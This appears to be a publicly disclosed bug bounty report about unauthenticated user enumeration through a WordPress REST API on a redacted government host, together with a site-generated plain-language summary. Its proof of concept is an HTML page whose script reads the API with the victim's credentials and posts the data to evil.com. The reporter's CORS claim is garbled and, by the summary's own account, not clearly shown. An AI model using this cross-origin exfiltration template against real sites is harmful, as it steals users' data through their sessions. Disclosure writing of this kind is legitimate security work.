Bypassing CORS Misconfiguration Leads to Sensitive Exposure
The WordPress REST API endpoint exposed user information such as IDs, names and login names without authentication. An attacker could collect the list of registered users and use it to direct brute-force attacks against their accounts.
- Triaged in 45 hours
- Fixed in 31 days
- Disclosed after 4 months
Hi! Security Team @deptofdefense, It's possible to get information about the users registered (such as: id, name, login name, etc.) without authentication in Wordpress via API on *. ███████.
Description: By default Wordpress allow public access to Rest API to get informations about all users registered on the system.
Platform(s) Affected: [website] *. https://████/wp-json/
##Steps To Reproduce:
- Repreat URL Vulnerable to Burp Suite
- If you add the
Origin-parameterto theRequest-header, the responsive header will reject - Bypassing Using Exploit CORS-With Sensitive
- Open Request Vulnerability URL in
/wp-json/` , when you open the url, you can seepath-routes`` disclousure
Proof On Concept:
<!DOCTYPE html>
<html>
<body>
<center>
<h3>Steal customer data!</h3>
<html>
<body>
<button type='button' onclick='cors()'>Exploit</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; // Sensitive data from niche.co about user account
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://evil.com", true);// Sending that data to Attacker's website
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://██████/wp-json/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
- save file as
.htmland open in mozzila-firefox , and boom sensitive has been exposure
Remediation: There are 2 ways that it's possible to fix this problem. FIX 1 - It's possible to remove this access for anyone by change the source code where when someone request the Rest API and the server send a 404 (Not Found) message for the user who made the request. Reference: https://github.com/WP-API/WP-API/issues/2338 FIX 2 - It's also possible to create a rewrite rule on .htaccess (if the webserver it's Apache) to redirect any request that contain rest_route (eg.: "^.rest_route=/wp/") to a Not Found (404) or a Default Page.
##POC Screenshots Material/References:
- ███████
- █████████
- █████
Impact
- It's possible to get all the users registered on the system and create a bruteforce directed to these users.
- Cross Misconfiguration -Leakage Sensitive Information
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could enumerate all registered users and use that list to aim brute-force attacks at their accounts; the report's CORS claim is not clearly demonstrated, and the data appears to be readable without any cross-origin trick.
What the attacker needed
None
The fix
The REST API user listing should be restricted so unauthenticated requests receive a not-found response, for example through a server rewrite rule or code change.
How it was found
- Send the vulnerable URL to an interception proxy.
- Add an Origin header to the request and observe the response header being rejected.
- Bypass the CORS handling to reach the sensitive data.
- Open the /wp-json/ URL and observe the disclosed routes.
- Save the proof-of-concept page as an HTML file and open it in Firefox to see the data exposed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
WordPress has a built-in web interface (the REST API) that other software can query for data. By default it answers questions about the site's users to anyone, even people who are not logged in. That means a stranger can download a list of usernames, which makes guessing their passwords much easier.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.